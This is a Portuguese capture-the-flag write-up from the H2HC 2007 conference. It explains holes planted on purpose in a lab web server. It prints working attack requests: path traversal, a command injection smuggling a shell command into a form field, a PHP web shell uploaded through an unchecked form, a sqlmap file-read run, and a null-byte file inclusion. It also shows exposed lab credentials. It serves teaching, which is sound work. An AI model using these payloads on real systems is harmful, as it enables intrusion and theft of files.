<!--#include virtual="/inc/BypassWebDefenderIfYouCan.inc" -->

Bypass WebDefender If You Can...

Introdução:
A Security (http://www.security.org.br/) em conjunto com sua equipe de testes de intrusão intitulada Intruders Tiger Team Security (http://www.intruders.com.br/) é patrocinadora oficial do H2HC fourth edition (http://www.h2hc.org.br/) e teve o prazer de apresentar o primeiro desafio estilo “Capture The Flag” da conferência.

O desafio intitulado “Bypass WebDefender If You Can” teve por finalidade a diversão dos participantes por possibilitar a experiência de realizar um ataque real num ambiente devidamente preparado para tanto.

Foi criado especialmente para o desafio um ambiente simulando várias vulnerabilidades críticas e reais em aplicações web, algumas desenvolvidas pela equipe do CTF (Capture The Flag) e outras não (por exemplo o phpBB2).

Resumo:
O sistema ficou protegido pelo WebDefender desde o dia 01 de Novembro de 2007 a partir da 00:00:00 até o dia 07 de Novembro de 2007 a 23:59:59, durante esse período qualquer pessoa que tivesse sido capaz de penetrar no WebServer e ler o conteúdo do arquivo H2HCdesafioWebDefender.txt (que tinha permissão de leitura para qualquer usuário) teria vencido o mesmo e levado os prêmios oferecidos no Capture The Flag.

Após esse período o WebDefender foi removido do ambiente do Capture The Flag - H2HC 2007 para que todos pudessem ver as vulnerabilidades existentes no mesmo, na manha do dia 09 de Novembro foi realizada uma apresentação no H2HC (Hackers 2 Hackers Conference) demonstrando uma série de falhas inseridas propositalmente no ambiente.

O webserver (http://webdefenderh2hc.h2hc.org.br/) desprotegido continuou acessível na internet até o dia 18 de Novembro de 2007 para que todos pudessem ver e testar as vulnerabilidades existentes no sistema.

É importante ressaltar que fora as falhas criadas pela equipe do CTF, ainda existia rodando um phpBB2 com vulnerabilidades públicas (e possivelmente vulnerabilidades desconhecidas - 0days) que poderiam ter sido utilizadas para vencer o CTF.

Durante os 7 dias de Capture The Flag - H2HC 2007 tivemos 36 equipes inscritas e mais de 75 pessoas participando, chegando a um número próximo de 400.000 ataques detectados.

Resultado:
Durante o desafio (Capture The Flag) do H2HC 2007 ninguém invadiu o sistema protegido pelo WebDefender.

As regras do desafio podem ser lidas acessando o link abaixo:

http://www.h2hc.org.br/capture.php

Equipe:
As seguintes pessoas participaram da criação do ambiente do desafio (Capture The Flag) do H2HC 2007.

Wendel Guglielmetti Henrique
Ygor da Rocha Parreira
Glaudson Ocampos da Silva
Waldemar Nehgme
Ismael Rocha
Elio de Faria
Danielle Naves RAmalho

Vulnerabilidades:
Abaixo é explicado de forma resumida as principais vulnerabilidades criadas pela equipe do CTF (Capture The Flag), que poderiam ter sido utilizadas para vencer o mesmo.

1) No servidor existia um arquivo na raiz do WebServer chamado teste.php (http://webdefenderh2hc.h2hc.org.br/teste.php) que fazia uma chamada para a função phpinfo().

Algumas informações importantes que poderíamos aprender sobre o ambiente com esse arquivo são as seguintes:

- Sistema operacional utilizado e versão do kernel.

System Linux debian 2.6.18-4-686 #1 SMP Wed May 9 23:03:12 UTC 2007 i686

- Versão do Apache (Apache2 no caso) e PHP (PHP5 no caso).

Configuration File (php.ini) Path /etc/php5/apache2/php.ini

- Local de armazenamento das páginas/scripts.

DOCUMENT_ROOT /var/www/

- Opção magic_quotes que dificulta (mas não impossibilita) ataques de SQL Injection desabilitado. Foi configurado dessa forma para facilitar os ataques de SQL Injection ao servidor.

```
magic_quotes_gpc Off Off
magic_quotes_runtime Off Off
magic_quotes_sybase Off Off
```

- Opção register_globals habilitada. Foi configurado dessa forma para permitir ataques de File Inclusion ao servidor.

```
register_globals On On
```

Obs.: Esse arquivo poderia facilmente ser descoberto utilizando ferramentas de análise de vulnerabilidades web (por ex.: N-Stalker Web Security Scanner) ou mesmo manualmente (é relativamente comum a existência de arquivos phpinfo.php, test.php, teste.php, etc).

2) Uma das possíveis formas de descobrir onde o arquivo H2HCdesafioWebDefender.txt estava localizado era chamando o script /ctf/script_find.php com a variável arquivofnd com o valor *H2HC*.txt e setando o campo (variável) hidden caminhofnd com o valor "../../../../../../".

Exemplo:

```
POST /ctf/script_find.php HTTP/1.1
Host: webdefenderh2hc.h2hc.org.br
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9)
Gecko/20071025 Firefox/2.0.0.9
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag
e/png,*/*;q=0.5
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php
Cookie: hotlog=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

arquivofnd=*H2HC*.txt&caminhofnd=../../../../../../
```

- Dessa forma obtínhamos um resultado similar ao mostrado abaixo:

```
/var/www/ctf/../../../../../../etc/H2HCdesafioWebDefender.txt
```

Que mostra que o arquivo H2HCdesafioWebDefender.txt estava dentro do diretório /etc.

3) podíamos ainda utilizar o script /ctf/script_md5.php para gerar o hash md5 do mesmo e verificar a existência do arquivo.

Exemplo:

```
POST /ctf/script_md5.php HTTP/1.1
Host: webdefenderh2hc.h2hc.org.br
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9)
Gecko/20071025 Firefox/2.0.0.9
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag
e/png,*/*;q=0.5
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php
Cookie: hotlog=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

arquivomd5=../../../../../../etc/H2HCdesafioWebDefender.txt
```

- Dessa forma obtínhamos um resultado similar ao mostrado abaixo:

```
9f0d078c5e352d3f1081c4686f326be5
./../../../../../../etc/H2HCdesafioWebDefender.txt
```

4) Um dos meios de se obter o conteúdo do arquivo H2HCdesafioWebDefender.txt era utilizando uma falha que permitia execução de códigos remotos no script /ctf/script_traceroute.php devido a ausência de input validation na variável ip3, o mesmo era concatenado com outros valores e passado para a função system(). Então se setarmos a variável ip3 para ";COMANDO;" nós conseguimos executar comandos remotamente com os privilegios do usuário (www-data no caso) com que o apache está rodando.

Exemplo:

```
POST /ctf/script_traceroute.php HTTP/1.1
Host: webdefenderh2hc.h2hc.org.br
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.9)
Gecko/20071025 Firefox/2.0.0.9
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag
e/png,*/*;q=0.5
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://webdefenderh2hc.h2hc.org.br/ctf/servicos.php
Cookie: hotlog=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

ip1=200&ip2=175&ip3= ;cat /etc/H2HCdesafioWebDefender.txt; 180&ip4=
```

- Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos ter vencido o CTF:

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Parabens,

Voce foi o vencedor do Capture The Flag do H2HC 2007!

Equipe Security, WebDefender e H2HC.

-----BEGIN PGP SIGNATURE-----
Version: No Matter

iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6
nwxWEAoNVk
+xvCFnwkI5T45hcU2q2UERdk
=gtez
-----END PGP SIGNATURE-----
```

Obs.: O script /ctf/script_find.php tinha uma falha que permitia execução de códigos remoto de forma similar.

5) Podíamos utilizar o script /ctf/script_gr_trabalhe.php para fazer uploads de arquivos que nos permitisse executar códigos remotamente.

Por exemplo nós poderíamos enviar um arquivo chamado "ws-exec.php" com o seguinte conteúdo:

```
<?

system($_GET['cmd']);

?>
```

A grande questão era:

* Onde esses arquivos estão sendo salvos? Um diretório dentro do DocumentRoot? No banco de dados?

* Se for em um diretório dentro do DocumentRoot, eles são interpretados pelo servidor?

* Arquivos com extensão .php são renomeados?

* E várias outras dúvidas que podem surgir...

As respostas para essas perguntas poderiam ser descobertas de 3 formas diferentes:

- Dentro do DocumentRoot existia um diretório chamado tmp que era indexado e dentro dele podíamos ver o diretório uploads que também era indexado e permitia ver todos arquivos que foram enviados via upload.

Obs.: Esse diretório poderia ter sido descoberto utilizando ferramentas de análise de vulnerabilidades web (por ex.: N-Stalker Web Security Scanner) ou mesmo manualmente (é relativamente comum encontrarmos arquivos renomeados para .ren, .old, .bkp, etc dentro do DocumentRoot).

Exemplos:

Solicitando http://webdefenderh2hc.h2hc.org.br/tmp/

Solicitando http://webdefenderh2hc.h2hc.org.br/tmp/uploads/

- Solicitando o arquivo script_gr_trabalhe.old (http://webdefenderh2hc.h2hc.org.br/ctf/script_gr_trabalhe.old) nós veríamos o seguinte trecho de código:

```
 $uploaddir = '/var/www/tmp/uploads/';
 $uploadfile = $uploaddir.$arquivo;

 // Faz o upload do arquivo
 if ( move_uploaded_file($_FILES['arquivo']['tmp_name'], $uploadfile ) )
   echo "<script>alert('Dados enviados com
sucesso!!');document.location='trabalhe.php'</script>";
 else
   echo "<script>alert('Houve um erro ao enviar
arquivo!!');document.location='trabalhe.php'</script>";

 exit;
```

Assim identificamos que os arquivos enviados são colocados dentro do diretório /tmp/uploads/ no DocumentRoot.

Obs.: Lendo o mesmo script podemos descobrir que os arquivos não tem nenhuma restrição de segurança, com exceção de ser adicionado caracteres pseudo randômicos na frente do nome do arquivo.

- A terceira forma vamos ver no iten **(7)** que explicará outras falhas.

Após descobrir o diretório dentro do DocumentRoot onde os arquivos enviados via upload foram salvos, nós poderíamos simplesmente chamar o script que foi enviado via upload e passar o comando a ser executado para a variável cmd.

Exemplo:

```
http://webdefenderh2hc.h2hc.org.br/tmp/uploads/L15BNKws-
exec.php?cmd=cat%20/etc/H2HCdesafioWebDefender.txt
```

Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos ter vencido o CTF:

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Parabens,

Voce foi o vencedor do Capture The Flag do H2HC 2007!

Equipe Security, WebDefender e H2HC.

-----BEGIN PGP SIGNATURE-----
Version: No Matter

iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6
nwxWEAoNVk
+xvCFnwkI5T45hcU2q2UERdk
=gtez
-----END PGP SIGNATURE-----
```

6) O script /ctf/show_noticia_popup.php é vulneravel a SQL Injection utilizando a variável id, como o banco de dados é MySQL podemos utilizar a função LOAD_FILE().

Exemplo:

```
debian:/tmp/sqlmap# python sqlmap.py --
url="http://webdefenderh2hc.h2hc.org.br/ctf/show_noticia_popup.php?id=8" --
file="/etc/H2HCdesafioWebDefender.txt" -v1

sqlmap/0.5-rc3 coded by inquis <bernardo.damele@gmail.com>
and belch <daniele.bellucci@gmail.com>
[*] starting at: 12:07:05

[12:07:06] [INFO] testing if the url is stable, wait a few seconds
[12:07:08] [INFO] url is stable
[12:07:08] [INFO] testing if 'id' parameter is dynamic
[12:07:08] [INFO] confirming that 'id' parameter is dynamic
[12:07:08] [INFO] parameter 'id' is dynamic
[12:07:08] [INFO] testing sql injection on parameter 'id'
[12:07:08] [INFO] testing numeric/unescaped injection on parameter 'id'
[12:07:09] [INFO] parameter 'id' is not numeric/unescaped injectable
[12:07:09] [INFO] testing string/single quote injection on parameter 'id'
[12:07:10] [INFO] confirming string/single quote injection on parameter 'id'
[12:07:10] [INFO] parameter 'id' is string/single quote injectable
[12:07:10] [INFO] testing MySQL
[12:07:10] [INFO] query: CONCAT('7', '7')
```

```
[12:07:10] [INFO] retrieved: 77
[12:07:17] [INFO] performed 20 queries in 6 seconds
[12:07:17] [INFO] confirming MySQL
[12:07:17] [INFO] query: LENGTH('7')
[12:07:17] [INFO] retrieved: 1
[12:07:20] [INFO] performed 13 queries in 3 seconds
[12:07:20] [INFO] query: SELECT 7 FROM information_schema.TABLES LIMIT 0,
1
[12:07:20] [INFO] retrieved: 7
[12:07:25] [INFO] performed 13 queries in 4 seconds
remote DBMS: MySQL >= 5.0.0

[12:07:25] [INFO] fetching file: '/etc/H2HCdesafioWebDefender.txt'
[12:07:25] [INFO] query: LOAD_FILE('/etc/H2HCdesafioWebDefender.txt')
[12:07:25] [INFO] retrieved:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Parabens,

Voce foi o vencedor do Capture The Flag do H2HC 2007!

Equipe Security, WebDefender e H2HC.

-----BEGIN PGP SIGNATURE-----
Version: No Matter

iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6
nwxWEAoNVk
+xvCFnwkI5T45hcU2q2UERdk
=gtez
-----END PGP SIGNATURE-----
[*] shutting down at: 12:25:08
```

7) O arquivo robots.txt no DocumentRoot permite um atacante descobrir vários diretórios e arquivos importantes.

Exemplo:

```
http://webdefenderh2hc.h2hc.org.br/robots.txt
```

Dessa forma obtínhamos um resultado similar ao mostrado abaixo:

```
User-agent: *
Disallow: /tmp
Disallow: /tmp/uploads
Disallow: /ctf/db
Disallow: /ctf/intranet
Disallow: /ctf/Script MySql
Disallow: /ctf/intranet/phpBB2
Disallow: /ctf/usuarios.old
```

Baseado no robots.txt:

- Descobrimos o diretório de uploads de arquivos e poderíamos explorar a falha **(5)**.

- Descobrimos o diretório “/ctf/db/” que é indexado e contém um arquivo chamado db.inc que tem informações de conexão com o banco de dados.

Exemplo:

```
http://webdefenderh2hc.h2hc.org.br/ctf/db/db.inc
```

Dessa forma obtínhamos um resultado similar ao mostrado abaixo:

```
<?php

 // Abre conexão com banco de dados
 $bd = new mysqli("localhost", "root", "vs@34576gf3", "ctf" );

?>
```

Podemos identificar o host, nome do usuário, senha e base de dados utilizada no MySql.

- Descobrimos que na intranet existe um phpBB2 (/ctf/intranet/phpBB2).

- Descobrimos o diretório "/ctf/Script MySql" que tem o script de criação do banco de dados.

- Descobrimos o arquivo "/ctf/usuarios.old" que tem uma lista com usuários válidos para se autenticar na intranet ou sistema web form.

Exemplo:

http://webdefenderh2hc.h2hc.org.br/ctf/usuarios.old

Dessa forma obtínhamos um resultado similar ao mostrado abaixo:

```
************************************************
*                                              *
* Documento Privativo                          *
*                                              *
************************************************
Usuarios para acessar o site:

User: security
Pass: webdefenderh2hc

User: h2hc
Pass: ByPassWebDefenderIfYouCan
```

Obs.: Com essas informações podemos autenticar na aplicação via web form ou intranet (htaccess - hypertext access).

8) Após autenticado via web form (com as credenciais security/webdefenderh2hc) podemos acessar o script /ctf/script_gr_noticia.php que é utilizado para inserir notícias no site.

O script de cadastramento de noticias (/ctf/script_gr_noticia.php) tem uma cópia renomeada para .old (/ctf/script_gr_noticia.old), o mesmo poderia ter sido descoberto utilizando ferramentas de análise de vulnerabilidades web (por ex.: N-Stalker Web Security Scanner) ou mesmo manualmente (é relativamente comum encontrarmos arquivos renomeados para .ren, .old, .bkp, etc).

Analisando um trecho do código nós vemos:

```
 if ( ( empty($titulo) || empty($noticia) ) )
 {
    echo "<script>alert(Ha campos em branco')</script>";
    echo "<script>history.back()</script>";
    exit;
 }

 include( $root."db/db.inc");

 // Abre conexão com banco de dados
 $bd = new mysqli("localhost", "root", "vs@34576gf3", "ctf" );
```

Podemos observar a utilização de include() passando uma variável (root) não inicializada como parâmetro, devido ao php do CTF ter o register_globals habilitado podemos modificar o valor dessa variável para um arquivo que desejamos ler e comentar o restante do nome do arquivo a ser incluído usando Null Bytes.

Exemplo:

```
POST /ctf/script_gr_noticia.php HTTP/1.1
Host: webdefenderh2hc.h2hc.org.br
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.6)
Gecko/20070725 Firefox/2.0.0.6
Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,imag
e/png,*/*;q=0.5
Accept-Language: pt-br,pt;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://webdefenderh2hc.h2hc.org.br/ctf/cad_noticias.php
Cookie: PHPSESSID=f9f3c5dc00fb5bce70dfce8626791351
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

titulo=Wendel&noticia=Demonstracao+-+H2HC+-
+WebDefender.&root=/etc/H2HCdesafioWebDefender.txt%00
```

Dessa forma obtínhamos um resultado similar ao mostrado abaixo e poderíamos ter vencido o CTF:

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Parabens,

Voce foi o vencedor do Capture The Flag do H2HC 2007!

Equipe Security, WebDefender e H2HC.

-----BEGIN PGP SIGNATURE-----
Version: No Matter
```

iQA/AwUBRypo9Zn6zXDYpzWjEQIpJACaAoWZ7TLbUHYcSUUmIchZR6
nwxWEAoNVk
+xvCFnwkI5T45hcU2q2UERdk
=gtez
-----END PGP SIGNATURE-----

9) Ainda podíamos fazer download de uma cópia de todo conteúdo (scripts, htmls, etc) do site solicitando o arquivo ctf.tgz dentro do DocumentRoot.

Exemplo:

http://webdefenderh2hc.h2hc.org.br/ctf.tgz

Obs.: Esse arquivo poderia ter sido descoberto manualmente (é relativamente comum encontrarmos arquivos com o nome da empresa/dominio e extensão .tar, .zip, .tgz, etc dentro do DocumentRoot).

Agradecimentos:
Obrigado a todos que participaram do CTF e prestigiaram o H2HC.

Dúvidas:
As dúvidas sobre o desafio “Bypass WebDefender If You Can” deverão ser encaminhadas para o e-mail ctf[at]h2hc.org.br.

Atenciosamente,

Coordenação H2HC 2007